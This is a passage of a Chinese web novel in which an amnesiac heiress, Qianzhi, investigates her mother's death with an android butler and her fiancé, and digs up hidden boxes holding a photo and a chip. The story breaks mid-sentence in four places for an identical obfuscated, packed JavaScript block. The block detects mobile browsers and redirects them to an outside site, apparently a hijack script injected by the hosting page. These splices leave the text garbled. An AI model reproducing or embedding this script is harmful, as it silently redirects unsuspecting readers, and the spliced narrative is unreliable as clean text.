灯一盏盏熄灭,浅枝回到自己的房间。打开灯,杏色的墙壁溢出几分暖意。桌上摆放着一枝新剪的杏花,插在水瓶里,暗香浮动。算起来,这里也算是她的另一个家了。 刚洗漱完,陈凌就给浅枝打来电话。她还在赛场,毕竟江景才是第一次主持赛事,有些不懂的还要问她。浅枝旁敲侧击问起了钟简行的情况,她还是记挂着晚上的意外,不知道他有没有生命危险。 “骨折?”浅枝翻书的手一滞。 “嗯。他会被送到市里最好的医院救治,只要不是太过严重,恢复肯定是没有问题的。”陈凌说。 “那他以后还可以当赛车手吗?”浅枝问。 “只要不死不残疾就可以。不过我看过了他以往的成绩,算不上很优秀,就算不是这次事故,东垒也不会签他的。” “又不是只有东垒一家,只要身体能恢复,以后总会有更多机会的。”浅枝下意识辩驳。 陈凌轻笑一声:“这么关心一个赛车手做什么,你不会想投资赛车运动吧?虽说和你之前的想法有些背离,不过你要是有这个想法,直接跟我说就好了,我帮你参谋参谋。” 投资,好像是一条新的道路,浅枝的心有些蠢蠢欲动。但她也深知现在的自己精力有限,连记忆都恢复不了,更遑论抽空去投资市场试水。于是她笑着答应了陈凌:“好啊,如果我有打算,肯定第一个找你。” 或许是受到了惊吓,这晚浅枝做了一场梦。梦里是只有星星的夜晚,很黑。她坐在一辆摩托后座,紧紧抓着驾驶座上男人的衣摆。 “你要带我去哪儿?”她的喊声淹没在呼啸的风声中。 “这里很危险,别待在这儿了!”男人大喊。 她的脸被冻得麻木,仍扭头去看男人的脸。 竟然是钟简行! 她被吓了一跳,各种关于他的画面闪入脑海:有在赛场驰骋的,有笑着对她张开双臂的,或是委屈巴巴看着她的……最后一幕是他被抬上担架的画面。 “注意安全啊!”梦醒前,她依稀记得自己对着他喊了这么一句话,随即那句话就消散在风中。 醒来的浅枝心跳得很厉害,这是她第一次没有听到那道沙哑的女声,或许是日有所思夜有所梦,或许是钟简行这个人真的和自己认识。她得去调查。 第二天,都市媒体多了几条新闻——《东垒旗下赛车出事故,赛车手疑似落下残疾》《东垒二公子现身事故现场》《众三代现身东垒旗下赛车场,四家联合已成事实?》,最后一则是关于卫浅枝的新闻——《卫许三代现身东垒赛场,许家或入资赛车竞技》。管家每早八点给浅枝送来报纸,她翻看了一会儿,媒体报道最多的不是钟简行,而是他们一众出现在赛场的三代们。 卫浅枝和许新寒是其中最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050032|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特殊的三代,如果说卫浅枝是因为父母离去所以只有绘画一条道路,那么许新寒则更加特殊,他是自愿放弃了家族企业。 许靖和刘敏宜各有自己的公司,平常不得清闲,虽然嘴上不说,心里总期盼着许新寒能帮家里一把。许新寒在平时都是个乖顺的后辈,唯独在这件事上不肯退让半步。他们甚至还想过让卫浅枝去劝他,但卫浅枝却坚定地表示自己永远支持许新寒的选择。 浅枝了解这些往事的时候总会下意识会将自己现在的身份剥离开来,只当听旁人的故事一般。只有在看到许新寒时,她才会意识到自己竟然也是故事中的人,不免有种撕裂次元的恍惚。 下午,浅枝刚从画室出来,不可避免又听到许新寒父母同他的谈话,潜台词无非是说两人年纪大了,公司需要新生力量。他一声不响地远走他乡,纵使是为了卫浅枝,行为上也未免太不成熟,需要进公司磨练。 “公司人才济济,你们既然力不从心,也该放权给其他人,不要总是几个元老担着。我又不是学这个的,进去又能做什么?才不堪任,董事会到时候会对你们有意见的。”许新寒的语气很温和,确实在认真地为他们考虑。 浅枝俯瞰着楼下的情景,心中莫名生出一丝怪异感,仿佛是低位的人突然被抬高到云端,去俯视一出荒唐的戏剧。然而,这出戏剧还没看完,许靖的一句话又将她拉到戏剧之中。 “浅枝如今失忆,也不能画画了,不如让她来帮我们。一张白纸,正好从头开始培养。” “不行!”许新寒的反应比自己还要激烈,“她生来就是要拿画笔的,即使现在想不起来了,那也只是暂时。我和她都不会放弃的,你们更没有权力剥夺她的选择!” 许新寒说完就匆匆上楼,正好和一脸担忧的浅枝碰了面。浅枝从没见过他生气,可见这些话确实是他的逆鳞了。许靖刘敏宜这时也向二楼投来视线,浅枝有些尴尬,走也不是,不走也不是。 “浅枝,我们回去吧。”许新寒拉着浅枝去了琴房。 优美的旋律从琴房中泄出,浅枝陷在松软的沙发里,静静看着许新寒的背影。窗外阳光正好,映在他沉静地脸庞上,偶尔侧头一瞥,金色瞳光中的温柔让浅枝不由得深陷其中。 许新寒的温柔就像是浸染在骨子里一般,即使生气,语气和表情也是和顺的,不会给人一种恼怒的压迫感。 其实浅枝不太了解他。温柔、细致、钢琴……在这些标签之外,她不知道他的心里还装着什么。她努力地适应未婚夫妻的关系,也接受他的照顾和贴近,在外人看来,他们还是亲密无比的未婚夫妻,可对于他们自己而言,两人之间真切地存在着一条无法跨越的鸿沟。 许新寒独自一人背负着他们的记忆,承担着从深爱到不爱的巨大落差,而浅枝则被迫接受了一段没有回忆和根系连接的爱情。这对他们二人都不公平,所幸他们都默契地没有提及,生怕动摇了这微妙的平衡。 “浅枝,我们回你家吧。” 浅枝从思绪中抽离,注视着那双亮如明星的眸子,点了点头。 5. 管家 浅枝再见到刘敏宜夫妇时仍觉得有些尴尬,但大家都默契地没有提起不愉快的事。浅枝说要回卫家一趟,刘敏宜也没有再挽留,只说她很久没有回去,可能需要收拾一番。 他们明显多虑了。家里一切都同她离家时一模一样,庄园里花草树木都修剪得整齐,池塘里流淌着清澈的活水,房子一尘不染,干净如新。 收拾这一切的是卫家的仿生人管家卫都,他的形象是一个高大温和的年轻男子,从卫浅枝小时候就来到卫家,已有二十多年。卫浅枝从小就跟着他身后叫卫叔,卫都也如长辈一样溺爱着她。主人离家的这些年,只留他一人在照看老房子,也将家里收拾得井井有条。 卫都蹲下身,和轮椅上的浅枝平视,微笑着向她展开双臂:“小姐,欢迎回家。” 浅枝回抱了他,他的怀抱不是如想象中机械一般的冰冷,反而带着几分温热。浅枝望向他的眼睛,闪烁着如蓝宝石般璀璨的光芒,比一般人的眼睛更加迷人。她有几分恍惚,眼前这个温和的年轻男子真的是仿生人吗?人们都说仿生人的感情也是由固定程序设定的,可她为什么能感受到他眼底自发的喜悦? “卫叔。”看着他正值年轻风华的容貌,一声“卫叔”她有些喊不出口。卫都看出了她的尴尬,温和笑道:“小姐如果不适应,叫我卫都就行。” “我不是这个意思,只是看您这么多年样貌依旧,这个称呼似乎有些老了。” “称呼是最外在的东西,什么都不能证明,”二十多年醇厚的岁月并未在这双仿生的眼睛上染上沧桑,反而让它变得更加通透,“听说您失去了部分记忆,不如让我带着您先逛一圈。” 浅枝微笑应下,由着卫都带她逛了一遍卫家。或许是建筑的年代比许家久远,卫家看起来要老派一些,厚重的楠木大门,古典的镂花长廊,严格对称的建筑,使得整个庄园有一种古板庄重的感觉。不过再古典,它终究是现代建筑,能用科技解决的地方就不用人力。就说卫都这个仿生人管家,那可是整个祝岭头一份。 家里一切布置得刚好,只是走到茶几旁时,浅枝才想起来家里缺了报纸,打开终端,指尖唰唰就订阅了几种报纸,让卫都每早各送一份过来。卫都一一记下。 一番收拾后,浅枝向卫都打听起当年父亲出国的缘由。她曾问过其他人,可与父母关系最好的许靖夫妇都不太清楚,许新寒也只是微笑着问她“为什么不能是因为我而留下呢”。许新寒的这句话甚至在她的朋友那里得到了证实,可她总觉得这不是真相,毕竟她的日记本里没有这样的描述。 “时间过得真快,已经过去九年了。”卫都喟叹道。浅枝听着他的语气有些恍惚,没想到在仿生人漫长的寿命里,竟也会有时光流逝的感叹。 “夫人的逝世一直是先生的伤痛。夫人离世三年后,先生最终决定去国外疗养,想带您一起去,可是您非但不乐意,还和先生大吵了一架。先生没办法,只好将老家留给您,自己离开了。” 浅枝又追问他是否知道父亲出国的原因,卫都只是摇头,不清楚他是真的不知道还是因为程序设定无法说出真相。她看着名为“父亲”的一栏联系人,叹了一口气:“我回国的消息,他会知道吗?” “会的,家里的情况都会自动同步到先生那里。” 卫都的这句话是打破她幻想的最后一根针。她经历了九死一生,醒来又过了这么久,父亲也没有任何回应,恐怕是彻底放弃自己了吧。可是为什么呢?她分明是他在世上唯一的血亲了。 家中一切如旧,却又无比陌生。大大小小几十间屋子,似乎都很正常,可浅枝总觉得少了什么东西。“嘀嗒”,时钟指针有条不紊地摆动着,浅枝站在三楼俯瞰着空无一人的一楼客厅,威尔士亲王格纹瓷砖从茶几中心向外蔓延铺就,延伸到看不见的房间角落。一股巨大的恐惧忽然攫取着她的心脏,她瞪大着双眼,似乎能看见自己从三楼跌下,然后被灰色的格纹吞噬。 “小姐。”一双手拍了拍她的肩膀,浅枝被吓得一哆嗦,不小心撞到栏杆上,一种痛楚从背部蔓延至四肢百骸。 “小姐!” 一些模糊的画面从脑海闪过,浅枝拼命地去抓住那些记忆,最终却什么都没有抓住。再醒来她已经回到了自己的床上,许新寒和卫都一前一后站在她的卧室里。她抬头正对上许新寒悲伤的目光,可她又觉得这份悲伤不是对着自己,而是透过她对着别的什么人。 “小姐,喝点水吧。”卫都越过许新寒将杯盏递到浅枝面前,一手揽着她的肩扶她坐起。 浅枝喝了一口,伸展了一下胳膊,向他们展示自己并无大碍。 “我相信你没事,”许新寒按下她的手,“但是你需要休息。我听卫叔说了,你跑了一上午的房间,肯定累了。” 这时她才意识到已经过去了一上午,但是那些房间还没有看完,她还忽略了什么东西。她本来应该想清楚的,但突如其来的晕倒阻挡了她的思路。 等到许新寒和卫都两人离开,浅枝忙起床换衣服,又仔细地搜索起卧室来。她想起忽略的东西是什么了。 是母亲的遗物!包括自己和父母卧室、书房在内的多数房间里竟然都找不到母亲留下的痕迹。不过还有三楼的一些房间没有搜索到位,想到这,她顾不上许新寒的叮嘱,急忙冲出卧室,一口气爬到三楼继续翻找。 这是不可思议的事!她绝望地翻过一间间房间,竟然都没有母亲的遗物。站在廊口,眺望着半明半暗的走廊,所有的恐惧都被大开的房门击碎,她的心底防线也只剩了最后一层。 “小姐,您怎么在这里?”卫都踏着缓慢的步伐一步步朝自己走来,语气也是一如既往的温和。 “卫叔,您来得正好,能否告诉我,为什么这么大的屋子里没有一件妈妈的东西?” “小姐不记得了,夫人的遗物都被先生带走了啊。”卫都淡淡笑着,浅枝却听见脑中一阵嗡鸣,似乎有一双手扼制住了她的喉咙,让她有口难言。 “怎么可能?”她紧紧攥住栏杆,口中喃喃,“那么多东西,他全部带走了?可是他为什么不带走自己的东西呢?” 卫都回答不了她的这个问题,她却忽然明白了当年和父亲吵架的缘由。带走母亲的所有遗物,剥夺女儿对母亲的思念寄托,恐怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050033|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是二人矛盾的来源。 可是他为什么要这么做?浅枝完全想不明白。她想,或许在此之前,或是远在母亲患病时,家里就已经发生了什么。但是卫执出国,卫都被封口,祖父母们也已经去世,她一时找不到可以窥探当年真相的突破口。 卫都看着她一步步走下阶梯,她的背影那么消瘦,同当年一模一样。是恨是怨,抑或是别的什么,他并不清楚,但是二十多年的人类生活已经让他生出那些让人类恐惧、被称之为反叛的东西——情感。他知道,浅枝是失魂落魄的。 客厅里,许新寒正坐在沙发上等着她,在他的眼底,除了温柔之外,还多了一层深沉。他抿着唇原本是想说些什么的,但最终什么都没有说,只是将浅枝拥在怀里,用自己的手掌去温暖她冰凉的手指。浅枝则是伏在他怀中轻轻啜泣,她第一次如此埋怨失忆,埋怨父亲,埋怨他们切断了自己和母亲的最终联系。她不能接受自己和母亲有着最深的联结,却遗忘了母亲的一切。 “别哭。”许新寒轻拍着她的后背,声音轻柔。 “新寒,”浅枝抬头,露出一双泛红的眼睛,“我想知道当年到底发生了什么。” 许新寒心头闪过一瞬惊愕,但面上不显。当年的事情他只知道一半,比如莫熠是因为心脏病去世的,收治她的是祝岭市青囊医院,操办身后事的是祝岭江殡仪馆。剩下的他没有从卫浅枝的口中得知,或许有些事生来就该成为秘密,就像现在一样。 浅枝果然从莫熠的病症和身后事开始调查,虽然相关病历资料已被卫执带走,但她还是凭借女儿的身份在医院搞到一些资料。在住院部走廊等待的时候,她忽然想起了钟简行。听江景才说他也在这家医院住院,大概要住一个月吧。 “咚,咚”,病房的门被敲响,钟简行刚挪了挪腿,一听到声音忙拉了被子盖在身上。 “请进。”他的声音有些沙哑。 这是东垒安排的单人病房,冰箱洗衣机电视沙发各式家具都有,布置相比于其他病房算得上豪华。浅枝拘谨地抿着唇,仔细打量男人的模样,想回忆起那一丝熟悉感。 “你是谁?”能找到这间病房的人大概和东垒的人有关,但眼前的女子过于亮眼,一身衣装不菲,看起来像是有钱人。 “我叫卫浅枝。”她站在离自己不近不远的地方,似乎在探究着自己。 “不好意思,你找我有事吗?”这个名字他在新闻中看到过,好像是祝岭的什么富贵人家的子女,但他从来没见过她,不知道对方来找自己是什么用意。 “我好像认识你,”浅枝将自己的名片搁在一旁的桌上,“如果你有需要帮忙的地方,或是听说了有关我以前的事情,都可以随时联系我。” 看他的样子确实不像是认识自己,她不太甘心地留下自己的联系方式,然后匆匆离去。 钟简行愣愣地望着她离去的背影,心头忽的生出一丝熟悉之感。自己分明不认识她,但看到她那双拘谨却坚定的眼睛时,他却想到了另一双眼睛。那是一双黑白分明的眼睛,在它们的注视下,所有的丑恶似乎都无所遁形。只可惜,它们已经不存在了。 6. 线索 浅枝花了接近半个月的时间梳理这些资料,无论是病历还是殡仪馆记录都没有异常,得到的信息和其他人知道的也没有出入。也是,但凡这些资料有一点异常,当年的自己一定会追究到底,绝对不会安心住在许新寒家。 卫都这几天一直关注着浅枝的动向,直到看见她拿着病历和殡仪馆记录坐在沙发上一筹莫展时,才从外套内衬拿出一张卡牌递给她:“小姐,这是您离家时留下的。” 浅枝诧异接过,只见卡牌正面是一个类似漏斗的图案,反面却是一幅画:一个美少年蹲在林中的湖泊旁临水自照,湖中盛开一朵水仙花。 卫都观察着浅枝的神情,见她确实不记得了才继续补充道:“当年您说过,如果有一天您回来后不记得这张牌了,并且还得到了夫人的病例和殡仪馆记录,我就将这个东西还给您。虽然您现在失忆了,但我想,您会知道它的含义的。” 当年?卫都说出这个预言时,浅枝感受到了一种从未有过的割裂感,就好像真正的卫浅已经死去,给后人留下了自己的意志,而自己却则代替了过去的卫浅枝,顶着她的身份活下去一样。 她曾经想过,怎么才能证明一个人的存在。当关于这个人的所有记忆都消失后,即使她的肉|体还存在,有谁能够证明她是她?如果把她丢在世界的一个角落,身边没有亲人朋友,她又该怎样证明自己作为卫浅枝的存在? “怎么会呢?卫浅枝就是卫浅枝啊,即使所有人都不再记得她,她依旧是卫浅枝,永远都是。”这是许新寒的答案,但不是她的。许新寒说从没见她问这样的问题,也从没见过她如此执拗。 卡面上画的是那喀索斯之死。美少年那喀索斯对湖照面时爱上自己,最终溺死在湖中,幻化成了水仙花。这张卡牌的指向不明,如果它和母亲有关,唯一的联系就是死亡。可是母亲是因心脏病而死亡,她和溺死的那喀索斯会有什么关系? 晚上,浅枝独自散步到池塘边,望着波光粼粼的池面,又想起了那喀索斯的故事。如果这条线索和死亡毫无相干的话,那么湖泊是否也是一条信息?这样想着,她低头望向水面,先瞧见一双清冷如寒月的眼,才是仙玉般的容貌。 这是我的倒影吗?她缓缓蹲下,鬼使神差地伸出手去触碰那个倒影。波纹一圈一圈地散开,水中的倒影瞬间变得扭曲,明明自己是抿着唇的,水中的影子却轻轻扬起了嘴角,注视着她的一双眼睛变得幽深。她惊呼一声,被吓得跌倒在地。 “浅枝!”许新寒刚走进院子,就听见一声呼救,忙赶了过去,只见浅枝满脸惊恐地瘫倒在池塘边。 卫都也赶了过来,这己经是他第二次看到她因为恐惧如此失态了。即使脑中有亿万条知识,他也分析不出让她恐惧的根源。 浅枝最终被许新寒强制按回床上休息。 “你太累了。”许新寒说。浅枝也表示认同,这几天她多处奔波,既要联络人,又要比对资料,只卡牌一事就让她疲惫。有时候她甚至怀疑自己当年留下这张卡牌的真实意图,到底是鼓励自己去寻找还是劝自己放下。 为了让她放松心情,逼着浅枝休息一整天后,许新寒打算带她去母校祝岭大学看桃花。祝岭大学的大门是一块刻着波涛江浪的大型汉白玉曲面浮雕,牌匾高悬其上,显得过于庄重气派。 两人并肩走在小道上,来往的学生青春靓丽,一路上欢声笑语,没有人注意他们。浅枝对这所大学没有熟悉之感,只是有些羡慕学生的活泼模样。二十七岁正是年轻的时候,但她还是羡慕在青春中的学生们。 “我们学校的桃花落得真早,隔壁开得还正盛呢。” “早桃花自然落得早啊,隔壁开得也不算多,我们还是去南湖看吧。” 几个女生交谈着从他们身边走过,和他们去的方向正好相对。浅枝看向她们来时的小山丘,翠绿的桃树重重叠叠,其间偶尔挂了几朵粉色。寻春应觅芳菲色,却误隙间早桃红。早花就是如此,开得早,衰败得也早。 “真是不巧,本来想带你去看桃花的,这下却是落空了,”许新寒歉意笑笑,牵着她转进另一条小道,“不过我带你去看牡丹,学校的牡丹开得最好,以前你跟着元教授可是画了不少丹青呢。” “说起老师,我想抽空去拜访一趟,上次和老师通过电话,她很关心我的情况。” “元教授有提起你的画吗?”许新寒问。 “老师只是简单问了一句,没有多说什么。” 许新寒语气间颇有些遗憾:“以你的天赋,元教授恐怕会觉得很可惜。” 浅枝伸手覆上他的手背,发出无奈的叹息:“可是天赋这种东西不能强求,拥有是幸运,消失了也只是平常。” 听说一个人失忆后会保留一部分以前的习惯和性格,可是浅枝不是这样的人。她拿不起画笔,即使握着画笔,手也抖动得厉害,下笔难有流畅线条。许新寒学过一些绘画,在教她基础时也有阻滞之感。她看见许新寒眼底的失望,却只能垂眼装作看不见。 两人来到牡丹园,浅枝站在园口,远远地看向雍容华贵的花园深处。一只浑身雪白的小猫卧在一株牡丹下,眼珠骨碌骨碌地转着,看见她时“喵”地叫唤了一声,轻身一跃就消失不见。 浅枝惊叹了一声。许新寒莞尔:“大家都说它是祝岭大学的宠儿,我记得我们在这里读书时,也常常见到一只雪白的猫,可能是它的父母。” “还能见到它的后代,也算是缘分。”浅枝笑着点点头。 浅枝想去一趟美术学院,虽然亲传老师不在这里任教了,她也想看看自己学习过七年的地方。 美术学院乍一看只是一个螺旋式建筑,但仔细观察就会发现它的整体设计思路借鉴了莫比乌斯环,无垠的延伸,永无触及的尽头。出于好奇,浅枝先行走了进去。 “卫浅枝!”当她的身影被楼梯吞没的一刹那,许新寒只觉得心脏如同被巨大帷布缠绕一般让人窒息,下意识就追了上去。他想抓住卫浅枝,可她却突然消失不见。 “新寒,你怎么了?”浅枝走了两步就折返回来,正好瞧见许新寒脸色青白、额间冷汗,吓得她伸手就要探上他的额头。许新寒一把捉住她的手,将她紧紧抱在怀里:“浅枝,别离开我!” 这里虽然僻静,但也偶尔有人经过。浅枝被惊得面红耳赤,撑着他的胸口急忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050034|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣脱。可她越挣脱,许新寒却越抱越紧。 “新寒,我没说要离开你,你先冷静一下,放开我。” 浅枝被压迫得几乎不能呼吸,许新寒这才察觉到她的不适,急忙松手却又伸手将她扶住,看着她通红的脸愧疚不已:“对不起,是不是吓到你了?” 浅枝红着脸摇头,沉默了一会儿后带他走进了学院。两人顺着回字形楼梯走到三楼,一道女声忽然叫住了他们:“是卫浅枝吗?” 浅枝眨眨眼,求助地看向许新寒。 “这是鲁老师,”许新寒拉了拉浅枝的手,又向鲁湾点头示意,“老师您好,我是许新寒,浅枝的未婚夫。” “老师好。”浅枝立即跟着打招呼。 鲁湾伸手示意两人到一旁的会客厅说话:“前段时间就听说了你们的消息,一直没见到真人。卫浅枝现在还好吗?” “还好,只是不记得以前的事了。” “唉,谁能想到短短两年就发生这么大变故呢?你现在还画画吗?” 浅枝面上露出羞赧之色:“恐怕只能重头再来了。” 鲁湾沉默了一会儿,提出要带他们去看看四楼的艺术长廊,里面收录了历届校友的优秀作品,其中就有卫浅枝的画。长廊旁陈列的是各种风格和大小的画,中央的智能展台一直保持着全景旋转,走入展台的范围就能沉浸在画中。 “这一幅是你的。”鲁湾招呼着还在展台摸索的浅枝。 浅枝定眼瞧去,竟和卡牌上的画面极为相似,并且由于画幅的放大,细节上更为丰富。她的眼中立即亮起欣喜的光芒,细细瞧起来。这幅画整体是抽象画的风格,但在部分细节处却十分写实,比如湖边树林掩盖下一块台阶上的花纹。她盯着那块花纹,似乎有些眼熟,于是多拍了几张照片。 “怎么了?”许新寒注意到她的举动。 “又不能带走,拍照片留作纪念啦。” 鲁湾笑道:“倒也不是不能带走,只是要等到换画的时候。每幅画在这儿要展示至少三年,而且不是每幅都换。这长廊可以延伸到楼上,所以取下的少,新展示的多。你不记得了,你这幅是一年前你差人送到学院里来的,远远不到换的时间呢。” 一年前正是自己患病的时候,怎么会有这样的巧合? 自从离开校园后浅枝就有些魂不守舍,还时不时地翻看相机。许新寒察觉到她的情绪,却只是笑着问她在看什么,浅枝正考虑着要不要将卡牌的事情告诉他,一通电话铃声突然打断了谈话。 “浅枝,你明天在家吗?” “在家,”浅枝想了想,上个周末陈凌告诉她要去屯溪见个合作伙伴,今天这个时候打电话可能是明天回来后想来找自己,“你明天回来?” “九点下飞机,我让高旭来接我,如果你在家没事的话,我就去你那里玩玩。”高旭是陈凌的未婚夫,不出意外的话,两人大概会在今年年底结婚。陈凌说,卫浅枝错过了她的订婚宴,一定不能再错过她的婚礼。 被陈凌这通电话一打岔,浅枝也忘了自己要和许新寒说的事,回家后就嘱托卫都准备一下明天的餐饮,多安排一些陈凌喜欢的东西。 7. 遗言 应陈凌喜好,浅枝在后花园设了小席面,只上些糕点水果,其中就包括陈凌最喜欢的荔枝。 “高旭,你多学学人家浅枝,浅枝失忆了还记得我的喜好呢。”陈凌插着去壳的荔枝肉,嘴里还不忘调侃一旁的高旭。没想到高旭完全接下话头,笑着胡诌:“哦,那你和浅枝一起过日子,我给你当情夫。” 许新寒无奈地摇摇头,浅枝则瞪大了眼睛:“啊,这么刺激?” “胡说八道!”陈凌恼羞成怒地给高旭口中塞了一颗葡萄,“吃东西还堵不住你的嘴!” 几人嬉闹了一阵,陈凌才说起这次出差的见闻。她原本打算前天就回来的,没想到途中意外收到陶谷秋的邀请,就去了一趟旬安,还见到了上次众人聚会时说起的书朗。 “我也不知道陶谷秋为什么邀请我,但我不是为了她才去的旬安。你不是在旬安待过一段时间嘛,我想看看你生活的城市是什么样子的。” 浅枝听了这话不由得笑道:“这么说起来你还要去一趟汉诺威咯,毕竟我也在那里待过几个月。” “欸,说不准我真要去那里呢。”陈凌露出一个得意的笑容,浅枝心中一惊,忙扭头看了许新寒一眼。但许新寒似乎在和什么人发信息,根本没有注意到她的眼神。 “你要去汉诺威?是因为生意上的事吗?”浅枝试探问道。 “差不多吧。陶家近几年在医学芯片上拓展越来越深了,这一领域我也在跟进,你知道我和陶家是对头,所以即使不是汉诺威,也会是别的城市。反正人都见了一些,因为你的缘故,我对汉诺威偏好一些。” 浅枝附和说了几句,很快将话题岔开。过了一会儿,许新寒找了个赏画的借口支走高旭,给两个姑娘留下说私密话的空间。虽说两人现在关系亲密,但毕竟不如失忆前。有些话陈凌想问,但又不知道怎么开口,犹豫片刻后才问起许新寒对她的态度。 “他对我一直都很好,倒是我对不起他。以前的事情……” 陈凌叹了口气,握住她的手:“你们的感情,我一直是支持的。许新寒才貌性格都不差,最重要的是足够爱你。以前你性子冷,他追你还是很辛苦的。可是你失忆后就不一样了,你什么都不记得,如果他用以前的感情来强迫你,那就是对你的不公平,你在承担的痛可不比他少。” 浅枝心中涌起一阵暖流,还得是陈凌,她是唯一一个站在她立场上为她思考的人。她叹了口气:“谢谢你,只是我们都没有错,总要有人承担的。你知道的,他愿意,我也愿意,这样就好了。” 至于陈凌说许新寒追自己很艰难,她颇有些意外。因为在卫浅枝的日记里,许新寒很早就出现了,早到二人还是孩童时期。日记中虽然从来没有出现过“喜欢”这样的字眼,但是对一个人的喜欢,再隐晦的文字也是藏不住的。 “唉,我的话你别放在心上,只要顺应你的心意就好了。不过你永远要记得,我首先是你的朋友,我的心永远是偏向你的。” 浅枝心中释然,笑着搭上她的手:“放心吧。你为我考虑这么多,我要是还不幸福的话,岂不是太辜负你了。” 两人聊起最近的见闻,浅枝忽然想起了昨天的行程,也顺带着想起那副画来,于是简要地跟陈凌说了展出画的事情。 陈凌翻阅着浅枝打印出的画作的各个部分,瞧着那花纹越来越觉得眼熟,仔细回忆片刻后才从平板里调出一张图,递给浅枝:“我就说怎么感觉眼熟呢,这张图片还是你让我保存的,说是你的最新设计,谁知没过多久你就生了病。现在我倒是好奇你的设计,不知道以后还有没有机会能看见呢。” 又是一个巧合,浅枝几乎能断定这个花纹就是她要的线索,只是不知道谜底在哪里。 问问许新寒吧,陈凌说。浅枝点点头,从陈凌这里要来图片后就不再说这件事,直到客人傍晚离去,她才拿着这张花纹样式询问许新寒。 许新寒接过纸看了一眼,眸光一闪,明显认得这个花纹。但他却不在第一时间说出,只问她为什么这么在意这个花纹。浅枝本就没有瞒着他的打算,听他一问便将大致的前因后果都说了出来。不过她没说卡牌是卫都特意给她留的,只说自己从书房里找到的,觉得眼熟而已。 “这花纹是你们家石亭台阶上的,小时候你还带我在那里挖过土呢,”许新寒眼中多了一丝探究,“只是你没有记忆,怎么会觉得熟悉呢?” 浅枝摇摇头:“那亭子,我只看一眼就记住了它的样式,六角重檐攒尖顶,六根红漆柱,前两柱分别题有三字——静宽容,沉谨慎。台阶上的花纹我记不太清了,所以只觉得有些熟悉。” 听她这么说,许新寒这才不再追问,只说她找到东西后如果方便也给他看一眼,这样的请求浅枝当然不会拒绝。 翌日,浅枝坐在亭中望着池塘发呆,四周的帷幕随风轻轻晃动,帘角落在她脚边。恍惚之中,她蓦地想起了王阳明的格竹子,有些想笑又有些感慨,似乎千百年的光阴就像一个圈,人们在这套规则下转来转去,突然就走向了另一个时代。 如果说,卫浅枝在等她,那么……她盯着石阶上的花纹,想到了最简单也最通用的办法——挖土。 卫都一丝惊讶都没有,很快拿来了工具箱。两人铲了一会儿,很快就挖出一个小铁皮盒子,上面挂着一把青色的锁,锁面生了少量的锈,但锁芯还是好的。浅枝掂量着盒子,感觉分量不是很足。 “小姐,下面还有东西。” “什么?”浅枝定睛看去,只见下面的土质似乎和周边不同,可能真的还有东西。 “土质有差,不是同一时间埋的。”卫都补充道。浅枝激动地继续向下挖,这次他们挖出的盒子要大、更扁平一些。 只有小盒子上设了密码,是4位数,浅枝试着用自己的生日开锁,盒子却没动静。于是她先打开了大盒子,里面装了一张照片和一对翡翠手镯。 照片是一张全家福。那时的父亲还很年轻,英俊潇洒,站在妻女身边不苟言笑。母亲则笑得很温柔,她戴着一顶牙色的编织帽,一手抚上帽檐,一手牵着只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050035|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八岁的小浅枝,正戴着这对翡翠手镯。那时的小浅枝也是笑着的,不过笑容很浅,未长开的眉眼已经有几分清冷。 浅枝拿着这张照片,久久不能回神。曾经如此幸福的一家人,竟然落得个各自飘零的结局。一人长眠于地,一人久居在外,剩下的一个连自己是谁都不记得。 “这是我给自己留下的一个念想,”浅枝轻轻捏着照片的边缘,神情怔忪,“我只有这么一个念想了。” 她翻开照片的北面,上面记录了拍摄日期:2011.05.29. 0529,密码是照片拍摄的日期,可见以前的卫浅枝并没有想过为难自己。小盒子里装的是一个芯片,长宽只有两三厘米。浅默默取出芯片,怀着忐忑的心情来到书房,将房间反锁了才开始读取芯片。 书房的几面大书柜里全部塞满了书,如一块块被垒起的砖块,自己留在许家的书柜根本不能与之相比。 